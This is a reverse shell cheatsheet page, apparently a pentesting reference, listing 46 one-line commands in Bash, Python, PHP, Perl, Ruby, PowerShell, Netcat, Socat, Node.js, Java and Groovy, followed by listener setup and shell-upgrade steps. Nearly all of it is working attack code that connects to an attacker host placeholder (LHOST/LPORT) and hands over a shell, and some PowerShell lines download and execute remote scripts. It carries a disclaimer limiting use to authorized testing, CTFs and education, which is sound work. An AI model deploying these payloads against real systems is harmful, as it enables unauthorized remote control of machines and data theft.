Reverse Shell Cheatsheet
Reverse shell cheatsheet for security testing. Covers Bash, Python, PHP, Perl, Ruby, PowerShell, Netcat, Socat, and more with listener setup and shell upgrade techniques
⚠️ This cheatsheet is for authorized security testing, CTF competitions, and educational purposes only. Unauthorized access to computer systems is illegal.
46 commands
Bash TCPBash TCP reverse shell
bash -i >& /dev/tcp/LHOST/LPORT 0>&1Bash UDPBash UDP reverse shell
bash -i >& /dev/udp/LHOST/LPORT 0>&1Bash execBash exec reverse shell
exec 5<>/dev/tcp/LHOST/LPORT; cat <&5 | while read line; do $line 2>&5 >&5; doneBash fifoNamed pipe reverse shell
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT > /tmp/fBash -cbash -c wrapper
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'Python3 socketPython3 socket reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'Python3 PTYPython3 PTY reverse shell
python3 -c 'import socket,subprocess,os,pty;s=socket.socket();s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'Python2 socketPython2 socket reverse shell
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'Python3 shortPython3 short version
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'Python WindowsPython Windows reverse shell
python3 -c 'import socket,subprocess;s=socket.socket();s.connect(("LHOST",LPORT));subprocess.call(["cmd.exe"],stdin=s,stdout=s,stderr=s)'PHP execPHP exec reverse shell
php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'PHP proc_openPHP proc_open reverse shell
php -r '$sock=fsockopen("LHOST",LPORT);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'PHP shell_execPHP shell_exec reverse shell
php -r '$sock=fsockopen("LHOST",LPORT);shell_exec("/bin/sh -i <&3 >&3 2>&3");'PHP passthruPHP passthru reverse shell
php -r '$sock=fsockopen("LHOST",LPORT);passthru("/bin/sh -i <&3 >&3 2>&3");'Perl socketPerl socket reverse shell
perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in(LPORT,inet_aton("LHOST")));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'Perl IOPerl IO reverse shell
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"LHOST:LPORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>'Perl bash execPerl bash exec reverse shell
perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};'Ruby socketRuby socket reverse shell
ruby -rsocket -e'f=TCPSocket.open("LHOST",LPORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Ruby forkRuby fork reverse shell
ruby -rsocket -e'exit if fork;c=TCPSocket.new("LHOST",LPORT);loop{c.gets.chomp!;(exit! if $_=="exit");IO.popen($_,"r"){|io|c.print io.read}}'Ruby IO.popenRuby IO.popen reverse shell
ruby -rsocket -e 'c=TCPSocket.new("LHOST",LPORT);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'PS TCP clientPowerShell TCP client
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('LHOST',LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"PS Base64Base64 encoded payload
powershell -e <BASE64_ENCODED_PAYLOAD>PS download cradleDownload cradle
powershell IEX(New-Object Net.WebClient).DownloadString('http://LHOST/shell.ps1')PS ConPTYConPTY shell
IWR -Uri http://LHOST/Invoke-ConPtyShell.ps1 -OutFile cps.ps1; Import-Module ./cps.ps1; Invoke-ConPtyShell LHOST LPORTnc -eNetcat -e option
nc -e /bin/sh LHOST LPORTnc without -eNetcat without -e
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/fncat SSLNcat with SSL
ncat --ssl LHOST LPORT -e /bin/shnc WindowsNetcat Windows reverse shell
nc.exe LHOST LPORT -e cmd.exeSocat TCPSocat TCP reverse shell
socat TCP:LHOST:LPORT EXEC:/bin/shSocat TTYSocat full TTY reverse shell
socat TCP:LHOST:LPORT EXEC:'bash -li',pty,stderr,setsid,sigint,saneSocat SSLSocat SSL reverse shell
socat OPENSSL:LHOST:LPORT,verify=0 EXEC:/bin/shNode child_processNode.js child_process
node -e '(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var c=new net.Socket();c.connect(LPORT,"LHOST",function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});})();'Node require execNode.js require exec
require('child_process').exec('nc -e /bin/sh LHOST LPORT')Node ES6Node.js ES6 version
node -e 'const{Socket}=require("net"),{spawn}=require("child_process");const s=new Socket();s.connect(LPORT,"LHOST",()=>{const p=spawn("sh");s.pipe(p.stdin);p.stdout.pipe(s);p.stderr.pipe(s)});'Java RuntimeJava Runtime exec
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/LHOST/LPORT 0>&1"});Java ProcessBuilderJava ProcessBuilder
new ProcessBuilder(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/LHOST/LPORT 0>&1"}).start();GroovyGroovy reverse shell
String host="LHOST";int port=LPORT;String cmd="bash";Process p=["bash","-c","bash -i >& /dev/tcp/$host/$port 0>&1"].execute()nc listenerNetcat listener
nc -lvnp LPORTncat SSL listenerNcat SSL listener
ncat --ssl -lvnp LPORTsocat listenerSocat listener
socat TCP-LISTEN:LPORT,reuseaddr FILE:`tty`,raw,echo=0socat SSL listenerSocat SSL listener
socat OPENSSL-LISTEN:LPORT,cert=cert.pem,verify=0 FILE:`tty`,raw,echo=0Python PTY spawnPython PTY spawn
python3 -c 'import pty;pty.spawn("/bin/bash")'Script PTYScript PTY
script -qc /bin/bash /dev/nullStty rawSet TTY to raw mode
stty raw -echo; fgExport TERMSet TERM variable
export TERM=xterm-256colorStty sizeSet terminal size
stty rows 50 cols 200